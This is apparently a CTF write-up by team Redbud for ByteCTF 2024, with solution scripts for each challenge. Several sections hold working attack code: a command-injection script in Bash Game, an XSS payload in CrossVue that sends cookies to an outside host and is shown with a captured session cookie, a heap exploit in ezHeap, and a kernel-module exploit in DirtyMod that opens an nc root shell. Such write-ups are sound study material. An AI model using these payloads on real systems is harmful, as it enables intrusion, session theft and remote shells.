Redbud 战队 ByteCTF WriteUp

排名

Redbud：第15名

15	Redbud	7921.26	Pwn	8	2	2024-09-22 09:03:46

解题思路

MISC

Bash Game

提前结束sed的替换，在!后面放入指令。但由于特殊字符没有足够长度转义，使用``和base64来绕过。然后为了debug把stderr重定向到stdout并覆盖err code。观察到flag需要root，而只有truegame.sh可以免密码使用sudo。我们需要输入一个东西使[[“$1” -eq 1]]通过。这里的一些可行选择有1, 2/2, (env flag=1) flag。但sudo不允许传env，所以创建了一个soft link来指向flag。

```
import requests
import time
import base64

url = "http://fdb9ecd2.clsadp.com/update"
response = requests.post(url, data={"name": f'!\\n#'})

def to_base64(cmd):
    if "/" in cmd:
        b64 = base64.b64encode(cmd.encode()).decode()
        return f"`echo -n {b64} | base64 -d`"
    return cmd
```

```python
def get_flag(cmd):
    if isinstance(cmd, str):
        cmds = cmd.split(' ')
    else:
        cmds = cmd
    cmd = ' '.join([to_base64(c) for c in cmds])
    cmd = "; " + cmd
    print(cmd)
    for ch in cmd[::-1]:
        time.sleep(0.04)
        response = requests.post(url, data={"name": f'!{ch}/\n#'})
    # response = requests.post(url, data={"name": f'!\\n'})
    print(response.text)

get_flag("echo `pwd`")
# get_flag(["bash -c", f'"{to_base64("ln -s /opt/challenge/flag /tmp/2/2
2>&1")}"'])
get_flag(["bash -c", f'"{to_base64("sudo /opt/challenge/truegame.sh 2/2
2>&1")}"'])

get_flag("cd /tmp")
get_flag("head -n 2 /opt/challenge/ctf.sh")
# get_flag("ls -al /opt/challenge")

response = requests.post(url, data={"name": f'aaa'})

print(response.text)

response = requests.post(url, data={"name": f'!\\n#'})
```

Crypto

magic_lfsr

观察ff函数真值表，当ff(x0,x1,x2,x3)=1时，ff(x0,x1,x2,x3)=x0^x2^x4，即三个lfsr的和，可以表示成线性方程的形式。

三个lfsr一共有384个未知数。三个lfsr前128项均相等，输出中一共有127个1，因此可以列出383个方程，其秩为382，因此需要枚举两个向量，一共4个解。解出后代回校验即可。

```
F = GF(2)
PR.<x> = PolynomialRing(F)
PR.<x> = PR.quotient(x ** 512)
def get(mask: int):
    f = [int(b) for b in bin(mask)[2:].zfill(128)]
    f = sum(b * x ** (i + 1) for (i, b) in enumerate(f)) + 1
    return f

mask1 = 211151158277430590850506190902325379931
mask2 = 314024231732616562506949148198103849397
mask3 = 175840838278158851471916948124781906887
mask4 = 270726596087586267913580004170375666103

f1 = get(mask1)
f2 = get(mask2)
f3 = get(mask4)
g1 = f1.inverse().list()
g2 = f2.inverse().list()
g3 = f3.inverse().list()
out =
102431148140705498416850318857208210622800782062849617313220409897113076646
8510095
A = []
B = []
n = 128
for i in range(n):
    a = [0] * n * 3
    for j in range(i + 1):
        a[j] = g1[i - j]
        a[n + j] = g2[i - j]
    A.append(a)
    B.append(0)
    a = [0] * n * 3
    for j in range(i + 1):
        a[j] = g1[i - j]
        a[n * 2 + j] = g3[i - j]
    A.append(a)
```

```
    B.append(0)
for i in range(270):
    if out >> i & 1:
        a = [0] * n * 3
        for j in range(128):
            a[j] = g1[269 + 129 - i - j]
            a[n + j] = g2[269 + 129 - i - j]
            a[n * 2 + j] = g3[269 + 129 - i - j]
        A.append(a)
        B.append(1)
A = matrix(F, A)
B = vector(F, B)
X = A.solve_right(B)
V = A.right_kernel()
print('[', end='')
for v in V:
    t = X + v
    f = sum(t[i] * x ** i for i in range(128))
    f /= f1
    f = f.list()
    key = sum(int(f[i]) * 2 ** i for i in range(128))
    print(key, end=', ')
print(']')
```

Web

CrossVue

有一个 invite 接口可以用来对 admin 进行 XSS，会访问个人主页。

个人主页上有 `{{.Username}}` 和 `{{.Profile}}`，会使用 Go template 在服务端替换渲染，渲染结果又会在客户端使用 Vue 再次渲染。

Go template 渲染时会进行 HTML escape，但不会进行 Vue 的 escape。Vue template 中使用 mustache 就无需 HTML tag 就能执行 JavaScript。

注册一个 profile 为 `{{fetch('http://7sdc7m46.requestrepo.com/'+document.cookie)}}` 的用户，invite 后获取到 admin 的 Cookie，然后登录访问 `/admin` 获取 flag

Hello，111

{{fetch('http://7sdc7m46.requestrepo.com/'+document.cookie)}}

My Friends

admin

Invite to visit my homepage

Hello，111

[object Promise]

My Friends

admin

Invite to visit my homepage

Request Details

Request Type	HTTP/1.1 GET
URL	http://7sdc7m46.requestrepo.com/session=MTcyNjkxNzcxM3xEWDhFQVFMX2dBQUJFQUVRQUFCQ180QUFBUVp6ZEhKcGJtY01CZ0FFZFhWcFpBWnpkSEpwYm1jTUpnQWtOVEJoWTJGak1UUXRaR1V3WIMwMFpqTTJMV0ZsTXpndE5HTmxZalkyTWpFeU1HSm18_XNLEqsuZuv_onP1ivUiXHI5I_e3Gm3AOa_d3YHkpks=
Sender	113.201.14.253:59280
Country	CN (IP Geolocation by DB-IP)
Date	9/21/2024, 7:21:55 PM
Path	/session=MTcyNjkxNzcxM3xEWDhFQVFMX2dBQUJFQUVRQUFCQ180QUFBUVp6ZEhKcGJtY01CZ0FFZFhWcFpBWnpkSEpwYm1jTUpnQWtOVEJoWTJGak1UUXRaR1V3WIMwMFpqTTJMV0ZsTXpndE5HTmxZalkyTWpFeU1HSm18_XNLEqsuZuv_onP1ivUiXHI5I_e3Gm3AOa_d3YHkpks=
Query string	
Fragment	

Reverse

ByteBuffer

```
buffer = open("ByteBuffer.bin", "rb").read()

table_offset = int.from_bytes(buffer[:4], "little")
print(f"table offset: {table_offset}")
table = buffer[table_offset:]

vtable_offset = int.from_bytes(table[:4], "little")
print(f"vtable offset: {vtable_offset}")
vtable = buffer[table_offset - vtable_offset :]

class1 = {
    "edge": [],
    "node": [],
    "value1": 0x5A,
    "name": "ByteBuffer",
}
array1 = buffer[0x14 + 0x10 :]
length = int.from_bytes(array1[:4], "little")
print(f"array1 length: {length}")
for i in range(length):
    offset = int.from_bytes(array1[4 + i * 4 : 4 + (i + 1) * 4], "little")
    edge = array1[4 + i * 4 + offset :]
    length = int.from_bytes(edge[0x14:0x18], "little")
    a = edge[0x18 : 0x18 + length].decode()
    b = int.from_bytes(edge[0x0C:0x10], "little")
    c = int.from_bytes(edge[0x08:0x0C], "little")
    d = int.from_bytes(edge[0x07:0x08], "little")
    class1["edge"].append((a, b, c, d))

array2 = buffer[0x18 + 0x1B0 :]
length = int.from_bytes(array2[:4], "little")
print(f"array2 length: {length}")
for i in range(length):
```

```
    offset = int.from_bytes(array2[4 + i * 4 : 4 + (i + 1) * 4], "little")
    node = array2[4 + i * 4 + offset :]
    length = int.from_bytes(node[0x10:0x14], "little")
    a = node[0x14 : 0x14 + length].decode()
    b = int.from_bytes(node[0x04:0x08], "little")
    c = int.from_bytes(node[0x08:0x0C], "little")
    class1["node"].append((a, b, c))

to = [[] for _ in range(len(class1["node"]))]
for edge in class1["edge"]:
    name, u, v, w = edge
    to[u].append(v)
    to[v].append(u)

pos = {}
from PIL import Image

im = Image.new("RGB", (2000, 200), "white")
for node in class1["node"]:
    name, x, y = node
    num = int(name[5:])
    pos[num] = (x, y)
    im.putpixel((x, y), (0, 0, 0))

for edge in class1["edge"]:
    _, u, v, _ = edge
    x1, y1 = pos[u]
    x2, y2 = pos[v]
    for x in range(min(x1, x2), max(x1, x2) + 1):
        for y in range(min(y1, y2), max(y1, y2) + 1):
            im.putpixel((x, y), (0, 0, 0))

im.save("ByteBuffer.png")
```

327542185069290715865

Mobile

极限逃脱

ipa逆向，用硬编码的uuid算sha256，然后切出新的uuid，最后进行5个字符串替换：

```
import hashlib
import copy


f1 = "ffb53588"
f2 = "b092"
f3 = "bd3e"
f4 = "e777"
f5 = "a67be199da4b"

hash_input = f"{{{f5}-{f2}-{f3}-{f4}-{f5}}}"
#hash_input = f"{f5}-{f2}-{f3}-{f4}-{f5}"

print("hash_input为"+hash_input)

hash_bytes = hashlib.sha256(hash_input.encode('utf-8')).digest()
print("hash_bytes为"+str(hash_bytes))
#hash_hex = hash_bytes.hex()
#print("hash_hex为"+hash_hex)


# 将每个字节转换为两位的十六进制字符串，并拼接起来
hash_hex = ''.join(f"{byte:02x}" for byte in hash_bytes)
print("hash_hex为"+hash_hex)

lengths = [len(f1), len(f2), len(f3), len(f4), len(f5)]
substrings = []


substrings.append(hash_hex[1:1+len(f1)+1])
substrings.append(hash_hex[len(f1)+1:len(f1)+len(f2)+1])
substrings.append(hash_hex[len(f2)+1:len(f2)+len(f3)+1])
substrings.append(hash_hex[len(f3)+1:len(f3)+len(f4)+1])
substrings.append(hash_hex[len(f4)+1:len(f4)+len(f5)+1])
```

```
print("substrings 为"+str(substrings))
# substrings 为 ["fa8510c6", "77c7", "28ff", "b092", "bd3e456e777a"]


processed_substrings = copy.deepcopy(substrings)
processed_substrings[0] = substrings[0].replace('a', 'b')
processed_substrings[1] = substrings[1].replace('b', 'c')
processed_substrings[2] = substrings[2].replace('c', 'd')
processed_substrings[3] = substrings[3].replace('d', 'e')
processed_substrings[4] = substrings[4].replace('e', 'f')


print("processed_substrings 为"+str(processed_substrings))



flag =
f"ByteCTF{{{processed_substrings[0]}-{processed_substrings[1]}-{processed_substrings[2]}-{
processed_substrings[3]}-{processed_substrings[4]}}}"

print(flag)
```

Pwn

ezHeap

House of orange + house of tangerine + house of apple2

```
from pwn import*
context(arch="amd64",os="linux",log_level="debug")
p=remote("113.201.14.253",63177)
libc=ELF("./libc-2.27.so")
def add(siz):
    p.recvuntil("4 to edit, 0 to exit:\n")
    p.sendline("1")
    p.recvuntil("size to add:\n")
    p.sendline(str(siz))

def show(idx):
```

```
    p.recvuntil("4 to edit, 0 to exit:\n")
    p.sendline("3")
    p.recvuntil("index to show:\n")
    p.sendline(str(idx))

def edit(idx,siz,content):
    p.recvuntil("4 to edit, 0 to exit:\n")
    p.sendline("4")
    p.recvuntil("index to edit:\n")
    p.sendline(str(idx))
    p.recvuntil("input size\n")
    p.sendline(str(siz))
    p.recvuntil("input\n")
    p.send(content)

# topsiz=0x20db0
# size_2=topsiz-0x70
# size_2=size_2&0xfff
# size_2=size_2&0xffff0
# add(size_2)

# edit(0,size_2+0x10,b"a"*size_2+p64(0)+p64(0x61))

# add(0xf90) # vuln tcache
# edit(1,0xfa0,b"a"*0xf90+p64(0)+p64(0x61))
# add(0xf90)

# gdb.attach(p)


add(0x10) # 0
add(0x10) # 1
edit(1,0x20,b'a'*0x18+p64(0xd71))
add(0x1000) # 2
add(0x10) # 3
show(3)
p.recvuntil(b'Chunk at index 3: ')
leak = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = leak - 0x3EC2A0
info(f'libc_base: {hex(libc_base)}')
add(0xd20) # 4

add(0x40) # 5
topsiz=0x20fa0
```

```
size_2=topsiz-0x70
size_2=size_2&0xfff
size_2=size_2&0xffff0
add(size_2) # 6
heap_addr=libc_base+0x5e5010 # todo
# 0x7fa32 1e27000 0x7fa32 2440f68
free_hook=libc_base+0x3ec660 # IO_list_all
system_addr=libc_base+libc.sym["system"]
# fake IO_file 打 house of apple2 _IO_wfile_overflow A,B 地址都是
heap_addr，不行再说
fake_io_file=b"  sh;".ljust(0x8,b"\x00")
fake_io_file+=p64(0)*3+p64(1)+p64(2)
fake_io_file=fake_io_file.ljust(0x68,b"\x00")
fake_io_file+=p64(system_addr)
fake_io_file=fake_io_file.ljust(0xa0,b"\x00")
fake_io_file+=p64(heap_addr)
fake_io_file=fake_io_file.ljust(0xd8,b"\x00")
fake_io_file+=p64(0x3e7be0+libc_base)
fake_io_file=fake_io_file.ljust(0x130,b"\x00")
fake_io_file+=p64(heap_addr)


edit(6,size_2+0x10,b"a"*size_2+p64(0)+p64(0x61))

add(0xf90) # vuln tcache 7
edit(7,0xfa0,b"a"*0xf90+p64(0)+p64(0x61))
add(0xf90) # 8
edit(7,0xfa8,b"a"*0xf90+p64(0)+p64(0x61)+p64(free_hook))
add(0x30) # 9
add(0x30) # 10
add(0x30000) # 11
# 0x4f2be 0x4f2c5 0x4f322 0x10a38c
heap_addr=libc_base+0x5e5010
edit(10,8,p64(heap_addr))
edit(11,0x138,fake_io_file)
# set_context=libc_base+libc.sym["setcontext"]+0x35
# pop_rdi_ret=0x2155f+libc_base
# ret=0x520ef+libc_base

p.recvuntil("4 to edit, 0 to exit:\n")
p.sendline("0")
p.interactive()
```

DirtyMod

漏洞点在server_main()函数中，`v2=0x20` 分支下，构造特定的输入，可以写掉包含函数指针的block，打成控制流劫持。

```
82    reply_str("[+] do opt func\n", csock);
83    pre = bpipe.pre;
84    v6 = bpipe.pos + 1;
85    *(_DWORD *)v24 = 0;
86    ktcp_recv(csock, v24, 2);
87    printk("[+] len %d\n", *(_DWORD *)v24);
88    cblk.callback_func = byte_encode;
89    cblk.mode = CONTROL_MODE::FROM_PIPE;
90    v7 = *(_DWORD *)v24 / 0x1000;
91    if ( v6 + *(_DWORD *)v24 / 0x1000 - pre <= 16 )
92    {
93      cblk.data.blks = *(_DWORD *)v24 / 0x1000;
94      v27.data.blks = *(_DWORD *)v24 / 0x1000;
95      v27.callback_func = cblk.callback_func;
96      v27.mode = cblk.mode;
97      push_bpipe_control(v27);                    // CONTROL_BLOCK
98      v8 = *(_WORD *)v24 & 0xFFF;
99      if ( *(int *)v24 <= 0 )
100       v8 = -(-*(_DWORD *)v24 & 0xFFF);
101     if ( v8 > 0 )
102     {
103       v9 = &ktcp_svc + 6 * ((LOBYTE(bpipe.pos) - 1) & 0xF);
104       v10 = v9[2];                              // blks.blk
105       v9[5] = (ktcp_service *)&loc_1000;        // blks.tail
106       v9[3] = (ktcp_service *)(0x1000 - v8);    // blks.start
107       ktcp_recv(csock, (unsigned __int8 *)v10 + 0x1000 - v8, v8);// ! ! ! 这里可以把刚刚的control_blk内容给覆盖掉
```

往第一个block中写如一个control block，有函数指针

v24非0x1000页对齐的情况下，进入该分支，会继续写刚刚那个有函数指针的block

v24/0x1000的余数v8为0xffc时，
可覆写掉control block中的函数指针

控制流劫持的poc：

```
from pwn import *
context(arch="arm",os="linux",log_level="debug")

io = remote(b"127.0.0.1",2325)
server = 1
client = 0

### step 1: pass auth

io.sendafter(b"[+] please input 0 or 1\\\\n",b"\\\\x01")
io.sendafter(b"[+] check access with auth1\\\\n",b"\\\\xf8\\\\x01")

### step 2:
io.sendafter(b"[+] server or client ?\\\\n",b"\\\\x01")   # server
io.sendafter(b"[+] hello server\\\\n",b"\\\\x20")        # DATA_BLK
# ktcp_recv(csock, v24, 2);
io.sendafter(b"[+] do opt func\\\\n",b"\\\\xfc\\\\x1f")           # len (0x0000~0xffff)
# ktcp_recv(csock, (unsigned __int8 *)v10 + 0x1000 - v8, v8);
hack_addr = 0xbabebeee
p1 = p32(hack_addr) + p32(0x1) + b"a"*(0xffc-0x8)
io.send(p1)
# ktcp_recv(csock, v12, v13);
```

```
p2 = b"b"*0x1000
io.send(p2)

io.close()

io = remote(b"127.0.0.1",2325)
### step 1: pass auth
io.sendafter(b"[+] please input 0 or 1\\\\n",b"\\\\x01")
io.sendafter(b"[+] check access with auth1\\\\n",b"\\\\xf8\\\\x01")

### step 2:
io.sendafter(b"[+] server or client ?\\\\n",b"\\\\x00")   # client
io.sendafter(b"[+] hello client\\\\n",b"\\\\x10")     # bpipe

io.interactive()
```

Exp：

控制流劫持时，第一个参数是一个堆块地址，地址的内容我们可控。于是想到执行`run_cmd()`，以root权限执行一条用户态命令。通过预留的2326端口，让我们获得一个root shell。完整利用代码如下：

```
from pwn import *
context(arch="arm",os="linux",log_level="debug")

io = remote(b"127.0.0.1",2325)
server = 1
client = 0

### step 1: pass auth
io.sendafter(b"[+] please input 0 or 1\\\\n",b"\\\\x01")
io.sendafter(b"[+] check access with auth1\\\\n",b"\\\\xf8\\\\x01")

### step 2:
io.sendafter(b"[+] server or client ?\\\\n",b"\\\\x01")   # server
io.sendafter(b"[+] hello server\\\\n",b"\\\\x20")         # DATA_BLK
# ktcp_recv(csock, v24, 2);
io.sendafter(b"[+] do opt func\\\\n",b"\\\\xfc\\\\x1f")            # len (0x0000~0xffff)
# ktcp_recv(csock, (unsigned __int8 *)v10 + 0x1000 - v8, v8);
hack_addr = 0x8013AB00
p1 = p32(hack_addr) + p32(0x1) + b"a"*(0xffc-0x8)
io.send(p1)
# ktcp_recv(csock, v12, v13);
```

```
cmd = b"/bin/nc -lvnp 2326 -e /bin/bash\\\\x00"
p2 = cmd + b"b"*(0x1000-len(cmd))
io.send(p2)

io.close()

io = remote(b"127.0.0.1",2325)
### step 1: pass auth
io.sendafter(b"[+] please input 0 or 1\\\\n",b"\\\\x01")
io.sendafter(b"[+] check access with auth1\\\\n",b"\\\\xf8\\\\x01")

### step 2:
io.sendafter(b"[+] server or client ?\\\\n",b"\\\\x00")   # client
io.sendafter(b"[+] hello client\\\\n",b"\\\\x10")     # bpipe

io.interactive()
```